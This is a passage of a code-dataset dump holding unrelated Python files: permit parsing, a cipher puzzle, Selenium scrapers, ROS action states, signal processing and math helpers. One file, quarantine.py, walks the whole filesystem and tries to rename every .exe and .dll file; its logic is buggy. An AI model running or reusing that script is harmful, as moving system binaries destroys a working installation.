'permit_subtype',\n 'appl #',\n 'parcel id',\n 'project',\n 'id',\n 'permit_lic_status',\n 'location_address_string',\n 'occupancy_subtype',\n 'proposed use',\n 'permit_lic_desc',\n 'number_of_units',\n 'square_foot',\n 'flood_zone',\n 'permit_lic_fee',\n 'notes',\n 'mixed_name',\n 'mixed_subtype',\n 'dba_name',\n 'mixed_contractor_name',\n 'contractor_dba',\n 'permit_type',\n 'sourceName',\n 'url',\n 'ingestion_timestamp'],\n 'NULL_HEADERS':['appl #', 'parcel id', 'project', 'id', 'proposed use', 'notes']\n }\n # @inline_requests\n def parse(self, response):\n module_dir =os.path.dirname(os.path.realpath(__file__))\n # paths=[module_dir+'/AI_1051.csv',module_dir+'/AI-1286/file2.csv',module_dir+'/AI-1286/file3.csv',module_dir+'/AI-1286/file4.csv',module_dir+'/AI-1286/file5.csv',module_dir+'/AI-1286/file6.csv',]\n # yield scrapy.Request(url='file://'+path,callback=self.parse_rows,dont_filter=True)\n import csv\n # path=r'/Users/imac/Downloads/Permits_Buildings_FL_Highlands_CurationReady_20181004_v12.csv'\n # for path in paths[int(self.start):int(self.end)]:\n # print('path====>',path)\n with open(module_dir+'\\\\AI_1051.csv', errors='ignore') as csvfile:\n readCSV = csv.reader(csvfile, delimiter='|')\n count=0\n\n for row in readCSV:\n count+=1\n if count<=2:\n continue\n # if len(row)<5:\n # break\n print('==============>',len(row))\n \n # il = ItemLoader(item=KyLiquorLicensesSpiderItem())\n il = ItemLoader(item=InStjosephMishawakaBuildingPermitsSpiderItem(),response=response)\n il.default_input_processor = MapCompose(lambda data:re.sub(\"\\s+\",' ',data) if data else '' ,lambda v: v.strip(), remove_tags, replace_escape_chars)\n il.add_value('ingestion_timestamp', Utils.getingestion_timestamp())\n il.add_value('sourceName', 'IN_StJoseph_Mishawaka_Building_Permits')\n il.add_value('url', 'http://mishawaka.in.gov/building')\n il.add_value('permit_type','building_permit')\n # # il.add_value('unique_id','')\n # for k in data_dic:\n # il.add_value(k,data_dic[k])\n # return il\n il.add_value('permit_lic_no', row[0])\n il.add_value('permit_lic_eff_date', row[1])\n il.add_value('permit_applied_date', row[2])\n il.add_value('permit_subtype', row[3])\n il.add_value('appl #', row[4])\n il.add_value('parcel id', row[5])\n il.add_value('project', row[6])\n il.add_value('id', row[7])\n il.add_value('permit_lic_status', row[8])\n il.add_value('location_address_string', str(row[9]).replace(' , ',', '))\n il.add_value('occupancy_subtype', row[10])\n il.add_value('proposed use', row[11])\n il.add_value('permit_lic_desc',row[12] if len(str(row[12]))>3 else row[3])\n il.add_value('number_of_units',row[13])\n il.add_value('square_foot', row[14])\n il.add_value('flood_zone', row[15])\n il.add_value('permit_lic_fee', row[16])\n il.add_value('notes', row[17])\n il.add_value('mixed_name',row[18])\n # il.add_value('restrictions', row[18])\n il.add_value('mixed_subtype', row[19])\n il.add_value('dba_name', row[20])\n il.add_value('mixed_contractor_name', row[21])\n il.add_value('contractor_dba', row[22])\n yield il.load_item()\n\n ","sub_path":"all_spider/AI_1051/ms_ait.py","file_name":"ms_ait.py","file_ext":"py","file_size_in_byte":7827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"291416364","text":"__author__ = 'Ali Hajimirza'\n__email__ = 'ali@alihm.net'\n__license__ = 'MIT'\n\nascii_a = ord('a')\nascii_z = ord('z')\n\n\ndef transform(c):\n \"\"\"\n Transforms letters [a...z] to [z...a], return the same char if is not in [a...z]\n ----------\n c : char\n Ciphered text\n\n Returns\n -------\n res : char\n Transformed char\n\n Doc Test\n ----------\n >>> transform('a')\n 'z'\n\n >>> transform('b')\n 'y'\n\n >>> transform('z')\n 'a'\n\n >>> transform('4')\n '4'\n\n >>> transform('?')\n '?'\n\n >>> transform('.')\n '.'\n\n >>> transform(\"'\")\n \"'\"\n\n \"\"\"\n ascii_val = ord(c)\n if ascii_val < ascii_a or ascii_val > ascii_z:\n return c\n\n return chr(ascii_a + ascii_z - ascii_val)\n\n\ndef answer(s):\n \"\"\"\n Deciphers minions code\n ----------\n s : string\n Ciphered text\n\n Returns\n -------\n res : string\n Deciphered text\n\n Doc Test\n ----------\n >>> answer(\"wrw blf hvv ozhg mrtsg'h vkrhlwv?\")\n \"did you see last night's episode?\"\n\n >>> answer(\"Yvzs! I xzm'g yvorvev Lzmxv olhg srh qly zg gsv xlolmb!!\")\n \"Yeah! I can't believe Lance lost his job at the colony!!\"\n \"\"\"\n return ''.join(map(transform, s))\n\n\nif __name__ == \"__main__\":\n import doctest\n doctest.testmod()\n","sub_path":"google-foobar/minions_code.py","file_name":"minions_code.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"394646966","text":"from selenium import webdriver\nfrom urllib import parse\nimport bs4\nimport re\nimport time\nimport random\nimport pyap\nfrom bs4 import BeautifulSoup\nfrom bs4.element import Comment\nimport urllib.request\n\ndef googleSearchAddress(driver,business, state):\n org = business\n\n org = re.sub(r'[^\\w\\s]', '', org)\n url = 'https://www.google.com/search?q=' + org + ' ' + state\n driver.get(url)\n\n html = driver.page_source\n soup = bs4.BeautifulSoup(html, 'html.parser')\n\n address = soup.find('div', attrs={'data-attrid': 'kc:/location/location:address'})\n\n\n address2 = soup.find('img', attrs={'id': 'lu_map'})\n\n if (address):\n print(address.getText())\n return 'Yes', address.getText().split(\":\")[1].replace(\",\",\"\").strip()\n elif (address2):\n #print('There is address, potentially more than 1')\n aa= driver.find_element_by_id('lu_map').click()\n bb = driver.find_element_by_class_name('dbg0pd').click()\n cc = soup.find('div', attrs={'data-attrid': 'kc:/location/location:address'})\n return 'Yes', cc\n else:\n print('noaddress')\n return 'No'\n\ndef get_search_result_numbers(driver, business, state):\n org = business\n\n org = re.sub(r'[^\\w\\s]', '', org)\n url = 'https://www.google.com/search?q=' + org +' ' + state\n driver.get(url)\n\n html = driver.page_source\n\n soup = bs4.BeautifulSoup(html, 'html.parser')\n\n resultnumber = soup.find('div',attrs={'id':'resultStats'})\n searchNumber = resultnumber.getText().strip()\n print(\"search result number: \" +searchNumber)\n\n url = 'https://www.google.com/search?q=' + org +' ' + state + '&source=lnms&tbm=nws'\n driver.get(url)\n\n html = driver.page_source\n soup = bs4.BeautifulSoup(html, 'html.parser')\n resultnumberNews = soup.find('div', attrs={'id': 'resultStats'})\n newsSearchNumber = resultnumberNews.getText().strip()\n print(\"news search result number: \" +newsSearchNumber)\n return searchNumber, newsSearchNumber\n\n# def reverse_lookup(driver, business, state):\n# url =\n\ndef googleSearch(driver, business, state):\n searchResult = googleSearchAddress(driver, business, state)\n searchResultNumbers = get_search_result_numbers(driver, business, state)\n return searchResult, searchResultNumbers\n\nif __name__ == '__main__':\n chrome_options = webdriver.ChromeOptions()\n chrome_options.add_argument('--disable-extensions')\n chrome_options.add_argument('--profile-directory=Default')\n chrome_options.add_argument(\"--incognito\")\n chrome_options.add_argument(\"--disable-plugins-discovery\")\n chrome_options.add_argument(\"--no-sandbox\")\n driver = webdriver.Chrome(chrome_options=chrome_options)\n result= googleSearch(driver,'General Dynamics Information Technology', 'UT')\n print(result)\n number1, number2 = result[1]\n print(number1.split(\" \")[1].replace(\",\",\"\"))\n print(number2.split(\" \")[1])","sub_path":"GoogleSearch.py","file_name":"GoogleSearch.py","file_ext":"py","file_size_in_byte":2900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"271504230","text":"from selenium import webdriver\nimport time\n\ntry:\n driver = webdriver.Chrome()\n driver.get(\"http://suninjuly.github.io/huge_form.html\")\n elements = driver.find_elements_by_tag_name(\"input\")\n for element in elements:\n element.send_keys(\"qwe\")\n button = driver.find_element_by_xpath(\"/html/body/div/form/button\")\n button.click()\nfinally:\n time.sleep(30)\n driver.quit()\n","sub_path":"lesson_1_6_for_elements.py","file_name":"lesson_1_6_for_elements.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"79186341","text":"import os\r\n\r\nfile_list = []\r\nroot_directory = os.path.abspath(os.sep)\r\nfor sub_directories, directories, files in os.walk(root_directory):\r\n for my_file in files:\r\n filepath = sub_directories + os.sep + my_file\r\n # Should Check for virus behavior here first \r\n # Waiting on that implementation \r\n if filepath.endswith(\".exe\") or filepath.endswith(\".dll\"):\r\n file_list.append(my_file)\r\n\r\n# Now create a quaranteened folder \r\ndirectory = os.path.dirname(\"/Quarantened_Files\") \r\nif not os.path.exists(directory):\r\n os.makedirs(directory)\r\n \r\nfor each_file in files:\r\n old_location = os.path.dirname(os.path.abspath(each_file))\r\n new_location = directory + each_file\r\n os.rename(old_location,new_location)\r\n\r\n\r\n\r\n\r\n","sub_path":"quarantine.py","file_name":"quarantine.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"286861129","text":"#!/usr/bin/python\n\nimport rospy\nimport roslib\nimport actionlib\nimport smach\nimport smach_ros\n\nimport sys\nimport collections\n\nfrom mir_yb_action_msgs.msg import MoveBaseSafeAction, MoveBaseSafeGoal\nfrom mir_yb_action_msgs.msg import PerceiveLocationAction, PerceiveLocationGoal\nfrom mir_yb_action_msgs.msg import PickObjectWBCAction, PickObjectWBCGoal\nfrom mir_yb_action_msgs.msg import StageObjectAction, StageObjectGoal\nfrom mir_yb_action_msgs.msg import PlaceObjectAction, PlaceObjectGoal\nfrom mir_yb_action_msgs.msg import UnStageObjectAction, UnStageObjectGoal\nfrom mir_yb_action_msgs.msg import PerceiveLocationAction, PerceiveLocationGoal\nfrom mir_yb_action_msgs.msg import InsertObjectAction, InsertObjectGoal\n\nclass place_object(smach.State):\n def __init__(self, platform_name):\n smach.State.__init__(self,\n outcomes=['success', 'failed'])\n self.place_client = actionlib.SimpleActionClient('place_object_server', PlaceObjectAction)\n self.place_client.wait_for_server()\n self.goal = PlaceObjectGoal()\n self.goal.object = ''\n self.goal.location = platform_name\n\n def execute(self, userdata):\n self.place_client.send_goal(self.goal)\n self.place_client.wait_for_result(rospy.Duration.from_sec(15.0))\n result = self.place_client.get_result()\n if(result):\n return 'success'\n else:\n return 'failed'\n\nclass pick_object(smach.State):\n def __init__(self):\n smach.State.__init__(self,\n outcomes=['success', 'failed'])\n self.pick_client = actionlib.SimpleActionClient('wbc_pick_object_server', PickObjectWBCAction) \n self.pick_client.wait_for_server()\n self.goal = PickObjectWBCGoal()\n self.goal.object = \"any\"\n\n def execute(self, userdata):\n self.pick_client.send_goal(self.goal)\n self.pick_client.wait_for_result(rospy.Duration.from_sec(30.0))\n result = self.pick_client.get_result()\n if(result):\n return 'success'\n else:\n return 'failed'\n\nclass perceive_location(smach.State):\n def __init__(self):\n smach.State.__init__(self,\n outcomes=['success', 'failed'])\n self.perceive_location_client = actionlib.SimpleActionClient('perceive_location_server', PerceiveLocationAction)\n self.perceive_location_client.wait_for_server()\n self.goal = PerceiveLocationGoal()\n self.goal.location = \"\"\n\n def execute(self, userdata):\n self.perceive_location_client.send_goal(self.goal)\n self.perceive_location_client.wait_for_result(rospy.Duration.from_sec(30.0))\n result = self.perceive_location_client.get_result()\n if(result):\n return 'success'\n else:\n return 'failed'\n\nclass move_base(smach.State):\n def __init__(self, destination_location):\n smach.State.__init__(self,\n outcomes=['success', 'failed'])\n self.move_base_client = actionlib.SimpleActionClient('move_base_safe_server', MoveBaseSafeAction)\n self.move_base_client.wait_for_server()\n self.goal = MoveBaseSafeGoal()\n self.goal.arm_safe_position = 'barrier_tape'\n self.goal.source_location = ''\n self.goal.destination_location = destination_location\n\n def execute(self, userdata):\n self.move_base_client.send_goal(self.goal)\n self.move_base_client.wait_for_result(rospy.Duration.from_sec(int(15.0)))\n result = self.move_base_client.get_result()\n if(result):\n return 'success'\n else:\n return 'failed'\n","sub_path":"mir_scenarios/mir_states/ros/src/mir_states/common/action_states.py","file_name":"action_states.py","file_ext":"py","file_size_in_byte":3671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"243965982","text":"import sys\n\nsys.path.append(\"../../\")\nfrom examples.ortools.base_ortools import OrToolsBase\n\n\nclass VRP(OrToolsBase):\n \"\"\"\n Stores the data from ortools VRP example ;\n https://developers.google.com/optimization/routing/vrp\n \"\"\"\n\n def __init__(self):\n super(VRP, self).__init__()\n\n # update constraints\n self.max_duration = 1600\n\n # update network name\n self.G.graph[\"name\"] += \"vrp\"\n\n\nif __name__ == \"__main__\":\n data = VRP()\n initial_routes = [\n [\"Source\", 15, 14, 13, 16, \"Sink\"],\n [\"Source\", 9, 10, 11, 12, \"Sink\"],\n [\"Source\", 8, 1, 4, 3, \"Sink\"],\n [\"Source\", 7, 6, 2, 5, \"Sink\"],\n ]\n initial_routes = None\n data.solve(initial_routes=initial_routes)\n data.plot_solution()\n","sub_path":"examples/ortools/vrp.py","file_name":"vrp.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"650789402","text":"# COUNTING SORT ALGORITHM\n# Descrizione: https://www.thelicato.it/blog/algoritmi-di-ordinamento-counting-sort/\n\ndef counting_sort(A,k):\n B=[0 for i in range(len(A))] #creo un vettore di dimensione len(A) e lo riempio di '0'\n C=[0 for i in range(k+1)] #creo un vettore di dimensione k+1 e lo riempio di '0'\n \n for element in A:\n C[element]+=1\n #C[i] e' il numero di occorrenze di i\n \n for i in range(1,k+1):\n C[i]+=C[i-1]\n #C[i] e' il numero di elementi <= i\n\n for j in range(len(A)-1,-1,-1):\n B[C[A[j]]-1]=A[j]\n C[A[j]]=C[A[j]]-1\n\n return B\n","sub_path":"counting_sort.py","file_name":"counting_sort.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"183143832","text":"#!/usr/bin/env python\n\"\"\"\nbuild_features.py\n\nASR feature utils with Kaldi.\nThis is just the standard TIMIT recipe wrapped in Python for convenience.\n\"\"\"\nimport os\nfrom configparser import ConfigParser\n\nCONFIG = 'config/gpu_config_TIMIT.cfg'\n# CONFIG = 'config/config_TIMIT.cfg'\n\n# read config file\nconfig = ConfigParser()\nconfig.read(CONFIG)\ncurrent_dir = os.getcwd()\n\n# Locate data and kaldi recipe\ndata_dir = config['directories']['data']\nrecipe_dir = config['directories']['kaldi_egs']\nexp_dir = config['directories']['exp']\n\n# Sometimes we want multiple copies of the data e.g compressed mu-law version.\n# I've named these ../data/train{version}/...\nversion = '_enc'\n\n# General configs\ncmd_file = config['general']['cmd']\nnum_jobs = config['general']['num_jobs']\n\n# Move to kaldi recipe\nos.chdir(recipe_dir)\nos.system('./path.sh')\n\ndata_splits = ('/train' + version,\n '/dev' + version,\n '/test' + version)\n\nMFCC = False\nFBANK = True\n\n\n# Wrap Kaldi scripts\ndef make_mfccs(cmd, nj, datadir, expdir, featdir):\n \"\"\"\n Formats kaldi mfcc script arguments\n\n Args:\n datadir: Location of the .scp data files e.g. data/train\n expdir: Location to write kaldi logs e.g. exp/make_mfccs\n featdir: location to write feature archives. data/fbank\n \"\"\"\n return 'steps/make_mfcc.sh --cmd {} --mfcc-config {}/config/mfcc.conf --nj {} ' \\\n '{} {} {}'.format(cmd, current_dir, nj, datadir, expdir, featdir)\n\n\ndef compute_cmvn_stats(datadir, expdir, featdir):\n \"\"\"\n Formats kaldi cmvn script arguments\n\n Args:\n datadir: Location of the .scp data files e.g. data/train\n expdir: Location to write kaldi logs e.g. exp/compute_cmvn\n featdir: location to write feature archives. e.g. data/fbank\n \"\"\"\n return 'steps/compute_cmvn_stats.sh {} {} {}'.format(datadir, expdir, featdir)\n\n\ndef make_fbank(cmd, nj, datadir, expdir, featdir):\n \"\"\"\n Formats kaldi fbank script arguments\n \"\"\"\n return 'steps/make_fbank.sh --cmd {} --fbank-config {}/config/fbank.conf --nj {} ' \\\n '{} {} {}'.format(cmd, current_dir, nj, datadir, expdir, featdir)\n\n\ndef add_deltas_apply_cmvn(feat_scp, cmvn_scp, scp_dir, feat_dir, feat_type, split):\n \"\"\"\n Formats Kaldi command arguments to apply-cmvn and add-deltas.\n c.f. steps/train_deltas.sh, Ln 74.\n\n Args:\n feat_scp - input features .scp file\n cmvn_scp - cmvn .scp file\n scp_dir - location to write outputs\n feat_type - for naming output files.\n split - train, dev or test.\n \"\"\"\n utt2spk = scp_dir + '/utt2spk'\n output_scp = scp_dir + '/feats_{}_deltas.scp'.format(feat_type)\n output_ark = feat_dir + '/raw_{}_{}_deltas.ark'.format(feat_type, split.strip('/'))\n\n return 'apply-cmvn --config={0}/config/cmvn.conf --utt2spk=ark:{1} scp:{2} scp:{3} ark:- |' \\\n ' add-deltas --config={0}/config/add_deltas.conf ark:- ' \\\n 'ark,scp:{4},{5}'.format(current_dir, utt2spk, cmvn_scp, feat_scp, output_ark,\n output_scp)\n\n\nif FBANK:\n # Compute FBANK features.\n fbank_exp = exp_dir + '/make_fbank' + version\n fbank_feats = data_dir + '/fbank' + version\n\n for split in data_splits:\n # Make features\n os.system(make_fbank(cmd_file, num_jobs, data_dir + split, fbank_exp + split, fbank_feats))\n\n # Mean/Variance normalization\n os.system(compute_cmvn_stats(data_dir + split, fbank_exp + split, fbank_feats))\n\n # Copy outputs to file.\n os.system('cp {0}/feats.scp {0}/feats_fbank.scp'.format(data_dir + split))\n os.system('cp {0}/cmvn.scp {0}/cmvn_fbank.scp'.format(data_dir + split))\n\n # Apply deltas and cmvn\n os.system(add_deltas_apply_cmvn(feat_scp=data_dir + split + '/feats_fbank.scp',\n cmvn_scp=data_dir + split + '/cmvn_fbank.scp',\n scp_dir=data_dir + split,\n feat_dir=fbank_feats,\n feat_type='fbank',\n split=split))\n\nif MFCC:\n # Compute MFCC features.\n mfcc_feats = data_dir + '/mfcc' + version\n mfcc_exp = exp_dir + '/make_mfcc' + version\n\n for split in data_splits:\n # Make features\n os.system(make_mfccs(cmd_file, num_jobs, data_dir + split, mfcc_exp + split, mfcc_feats))\n\n # Mean/Variance normalization\n os.system(compute_cmvn_stats(data_dir + split, mfcc_exp + split, mfcc_feats))\n\n os.system('cp {0}/feats.scp {0}/feats_mfcc.scp'.format(data_dir + split))\n os.system('cp {0}/cmvn.scp {0}/cmvn_mfcc.scp'.format(data_dir + split))\n\n # Apply deltas and cmvn\n os.system(add_deltas_apply_cmvn(feat_scp=data_dir + split + '/feats_mfcc.scp',\n cmvn_scp=data_dir + split + '/cmvn_mfcc.scp',\n scp_dir=data_dir + split,\n feat_dir=mfcc_feats,\n feat_type='mfcc',\n split=split))\n","sub_path":"experiments/build_features.py","file_name":"build_features.py","file_ext":"py","file_size_in_byte":5148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"95174622","text":"import sys\nsys.path.append(\"../pinger_finder/\")\nimport socket\nimport math\nimport argparse\n\nimport numpy as np\n\nfrom environment import hydrophones\nfrom bbb.ADC import ADS7865\nfrom bbb.LTC1564 import LTC1564\nimport get_heading\n\n\n\nWORLD_ORIGIN = np.array([[0,0,0]])\n\nTCP_PORT = 22022\nBUFFER_SIZE = 1024\nC_SOUND = 1473\n\nYAW = 0\nPITCH = 1\n\nclass Port():\n def __init__(self):\n # IP address\n self.IP = '192.168.1.3'\n self.port = 22022\n self.buffer_size = 20\n\n # loop functions\n self.loop_function = None\n self.loop_fargs = None\n\n\n\n def set_loop_function(self,func,*args):\n self.loop_function = func\n self.loop_fargs = args\n\n def connect(self):\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.bind((TCP_IP, TCP_PORT))\n \n\n \n def stream(self,func=None, *args):\n s.listen(1)\n print(\"waiting for client to connect\")\n (conn, addr) = s.accept() # this is a blocking call\n\n while 1:\n data = conn.recv(self.buffer_size)\n if not data: break\n\n\"\"\"\noutputs a heading in degrees. \nRETURN:\n 0degrees represents straight ahead. \n 90degrees represent to the right. \n -90degrees represents to the left.\n\"\"\"\ndef ab2heading(a,b):\n rad2deg = 180/math.pi\n return 90 - math.atan2(b, a)*rad2deg\n\ndef setup_parser():\n parser = argparse.ArgumentParser(description=\"Stream heading data for testing purposes\")\n\n parser.add_argument('-a', '--array', action='store', default=['yaw'],\n nargs='+', dest='array_config',\n choices=['yaw', 'pitch'],\n help='specify the hydrophone array configuration. Defaults to just yaw.')\n\n parser.add_argument('--stream', action='store_true', default=False,\n dest='stream_on', help='stream data over TCP connection')\n \n\n return parser\n\ndef create_hydrophone_pair(spacing):\n array = hydrophones.Array()\n array.move(WORLD_ORIGIN)\n array.define( hydrophones.generate_yaw_array_definition( spacing ) )\n\n return array\n\ndef generate_array_settings(name, id, hydrophone_pair, preset, elem0_ChADC, elem1_ChADC):\n out = {}\n out['name'] = name\n out['id'] = id\n out['hydrophone_pair'] = hydrophone_pair\n out['heading'] = None\n out['ADC_config'] = preset\n out['elem2adc_mapping'] = [elem0_ChADC, elem1_ChADC]\n\n return out\n\ndef compute_heading(hydrophone_pair, adc, pattern):\n # capture theta for sub array\n tdoa_times = get_heading.compute_relative_delay_times(adc, 22e3, hydrophone_pair, c=C_SOUND,pattern=[(0,1)],elem2adc=pattern)\n doas = tdoa_times * C_SOUND\n hydrophone_pair.get_direction(doas)\n\n unpack = 0\n (a,b) = hydrophone_pair.ab[unpack]\n theta_center = ab2heading(a,b)\n\n return theta_center\n\ndef main():\n # parse arguments\n parser = setup_parser()\n args = parser.parse_args()\n\n array_config = args.array_config\n stream_on = args.stream_on\n\n # generate empty variables\n total_array = {}\n\n # create and define hydrophone array\n #if ('yaw' in array_config) and ('pitch' in array_config):\n if 'yaw' in array_config:\n yaw_array = create_hydrophone_pair(23.4e-3)\n total_array['yaw'] = generate_array_settings('yaw', 'ab', yaw_array, 1, 0, 1)\n\n if 'pitch' in array_config:\n pitch_array = create_hydrophone_pair(23.4e-3)\n total_array['pitch'] = generate_array_settings('pitch', 'cd', pitch_array, 0, 0, 1)\n\n # initialize acoustic circuits\n adc = ADS7865()\n filt = LTC1564()\n\n # configure acoustic filter circuits\n filt.gain_mode(15)\n filt.filter_mode(3)\n\n # configure acoustic ADC circuit\n if len(array_config) == 2:\n # set ADC to 2x2, dual sampling configuration\n adc.ez_config(5)\n\n # offset the pitch array to match the ADC's 2x2 configuration\n total_array['pitch']['elem2adc_mapping'] = [2,3]\n\n elif len(array_config) == 1:\n selected_pair = array_config[0]\n print('config= %d' % total_array[selected_pair]['ADC_config'])\n adc.ez_config( total_array[selected_pair]['ADC_config'] )\n\n # configure general part of the ADC circuit\n adc.update_deadband_ms(0*0.5e3) # dead time\n adc.set_sample_len(1e3) # sample length\n adc.update_sample_rate(300e3) # sample rate\n adc.update_threshold(0.1) # trigger threshold\n while 1:\n adc.get_data()\n \n for sub_array in total_array.values():\n print(\"--running %s\" % sub_array['name'])\n pattern = sub_array['elem2adc_mapping']\n \n theta_center = compute_heading(sub_array['hydrophone_pair'], adc, pattern)\n \n sub_array['heading'] = theta_center\n\n # print values\n if len(array_config) == 2:\n print(\"--Pinger: yaw=%ddeg, pitch =%ddeg\" % (total_array['yaw']['heading'], total_array['pitch']['heading']))\n\n\n elif len(array_config) == 1:\n selected_pair = array_config[0]\n print(\"--Pinger: %s=%ddeg\" % (selected_pair, total_array[selected_pair]['heading']))\n\nmain()","sub_path":"tests/pinger_heading_test.py","file_name":"pinger_heading_test.py","file_ext":"py","file_size_in_byte":5170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"434646632","text":"import os\nimport sys\nimport subprocess\nimport time\nimport requests\nimport re\nimport threading\nimport concurrent.futures\n# import lms_login\n\nmodule_dict = {}\nmodule_list = ['Fundamentals',\"Object Orientation\",\"Web Applications\",\"Mobile Applications\",\"Distributed Systems\"]\n\n\nbashrc = open(f\"{os.environ['HOME']}/.bashrc\", 'a+')\nbashrc1 = open(f\"{os.environ['HOME']}/.bashrc\", 'r')\n\nif 'alias r=\"python3 ~/Scripts/Python/bashrc_to_python/reviews.py\"' not in bashrc1.read():\n bashrc.write('alias r=\"python3 ~/Scripts/Python/bashrc_to_python/reviews.py\"')\nbashrc.close()\nbashrc1.close()\n\ndef clear():\n os.system('clear')\n\n\ndef wtc_topics():\n modules = subprocess.getoutput(\"wtc-lms modules\")\n matches = re.findall(r'wtc-lms topics .{36}',modules)\n return matches\n\n\ndef wtc_modules(matches):\n topic_list = []\n for i in matches:\n topic_list.append(subprocess.getoutput(i))\n \n # print(topics)\n counter =0\n for i in topic_list:\n \n module_dict[module_list[counter]] = re.findall(r\"wtc-lms problems .{36}\",i)\n counter += 1\n\n\ndef userIn():\n reviewTopic = input(\"What are you reviewing: \").lower()\n for i in reviewTopic.split():\n if i.isdigit():\n iteration = i\n break\n if not i.isdigit():\n iteration = input(\"Iteration: \")\n return reviewTopic, iteration\n\n\ndef problemSolver(v, delay=0):\n print(subprocess.getoutput(f\"{v}&\"))\n # print(v)\n # time.sleep(delay)\n\n\n\ndef main():\n # reviewTopic, iteration = userIn()\n\n matches = wtc_topics()\n wtc_modules(matches)\n x = 0\n with concurrent.futures.ThreadPoolExecutor() as e:\n\n while x <= len(module_dict['Fundamentals'])-1:\n # t1 = e.submit(problemSolver(module_dict['Fundamentals'][x]))\n # t2 = e.submit(problemSolver(module_dict['Fundamentals'][(len(module_dict['Fundamentals'])//2)+x]))\n for i in range(len(module_dict['Fundamentals'])):\n t1 = e.submit(problemSolver(module_dict['Fundamentals'][i]))\n print(\"T1\")\n t2 = e.submit(problemSolver(module_dict['Fundamentals'][len(module_dict['Fundamentals'])//2+i]))\n print(\"t2\")\n \"\"\"\n Threads = [x for x in range(n)]\n for x in range(0, len(dict), len(Threads)):\n for i in range(0, len(Threads)):\n if i < len(dict):\n e.submit(problemSolver(module_dict['Fundamentals'][i]))\n \"\"\"\n \n x +=1\n \n \n # print(k,v)\n\n\n\n\nif __name__ == \"__main__\":\n main()\n # topic = subprocess.getoutput(\"wtc-lms modules\")\n # print(topic)","sub_path":"Python/bashrc_to_python/reviews.py","file_name":"reviews.py","file_ext":"py","file_size_in_byte":2672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"420878727","text":"#from powerrulew import powerrulew\n#from trigrulew import trigrulew\n#from expologw import exporulew\nimport sympy\nfrom sympy import diff\nfrom clean import post_clean\nfrom clean import cleanpar\ndef myslatex(input_string):\n\tinput_string = sympy.latex(input_string).replace('holdfordydx','\\\\frac{dy}{dx}')\n\treturn input_string\ndef slatex(f):\n\treturn myslatex(sympy.sympify(post_clean(f)))\n\ndef fullparen(input_string):\n\topenpar = 0\n\tisbreak = 0\n\tcancel_it = 0\n\treally_cancel = 0\n\tfor idx,i in enumerate(input_string):\n\t\tif i == '(':\n\t\t\topenpar = openpar+1\n\t\telif i == ')':\n\t\t\topenpar = openpar-1\n\t\tif openpar == 0:\n\t\t\tcancel_it = 1\n\t\t\tisbreak = idx\n\t\t\tbreak\n\tif isbreak == len(input_string)-1:\n\t\treturn True\n\telse:\n\t\tif input_string[0:3] in ['log','sin','cos','tan','cot','sec','csc']:\n\t\t\treturn fullparen(input_string[3:])\n\t\telif input_string[0:2] in ['ln']:\n\t\t\treturn fullparen(input_string[2:])\n\t\telif input_string[0:6] in ['arcsin','arccos','arctan','arccot','arcsec','arccsc']:\n\t\t\treturn fullparen(input_string[6:])\n\t\telse:\n\t\t\ttry:\n\t\t\t\tfloatexp = float(input_string)\n\t\t\t\treturn True\n\t\t\texcept:\n\t\t\t\treturn False\ndef getfullparen(input_string):\n\topenpar = 0\n\tisbreak = 0\n\tcancel_it = 0\n\treally_cancel = 0\n\tfor idx,i in enumerate(input_string):\n\t\tif i == '(':\n\t\t\topenpar = openpar+1\n\t\telif i == ')':\n\t\t\topenpar = openpar-1\n\t\tif openpar == 0:\n\t\t\tcancel_it = 1\n\t\t\tisbreak = idx\n\t\t\tbreak\n\treturn input_string[:isbreak+1]\ndef usubstitution(inputexpression,dvar,u):\n\t\n\tdu = diff(sympy.sympify(u),sympy.sympify(dvar))\n\ttry:\n\t\tfloat(du)\n\t\tinputexpression=inputexpression.replace(u,'(u)')\n\t\tinputexpression='('+inputexpression+')/('+str(du)+')'\n\texcept:\n\t\tinputexpression=inputexpression.replace(u,'(u)')\n\t\tinputexpression='('+inputexpression+')/('+str(du)+')'\n\treturn str(sympy.simplify(sympy.sympify(cleanpar(inputexpression,dvar))))\ndef usub(inputexpression,dvar):\n\tinputexpression = cleanpar(inputexpression,dvar)\n\tpossibleu = []\n\tfor i in range(0,len(inputexpression)):\n\t\tif inputexpression[i]=='(':\n\t\t\tpossibleu.append(getfullparen(inputexpression[i:]))\n\t\t\tif i>1:\n\t\t\t\tif inputexpression[i-1:i] in ['^']:\n\t\t\t\t\tpossibleu.append(inputexpression[i-2:i]+getfullparen(inputexpression[i:]))\n\t\t\tif i>1:\n\t\t\t\tif inputexpression[i-2:i] in ['ln']:\n\t\t\t\t\tpossibleu.append(inputexpression[i-2:i]+getfullparen(inputexpression[i:]))\n\t\t\tif i>2:\n\t\t\t\tif inputexpression[i-3:i] in ['log','sin','cos','tan','cot','sec','csc']:\n\t\t\t\t\tpossibleu.append(inputexpression[i-3:i]+getfullparen(inputexpression[i:]))\n\t\t\tif i>3:\n\t\t\t\tif inputexpression[i-4:i] in ['sqrt']:\n\t\t\t\t\tpossibleu.append(inputexpression[i-4:i]+getfullparen(inputexpression[i:]))\n\t\t\tif i>5:\n\t\t\t\tif inputexpression[i-6:i] in 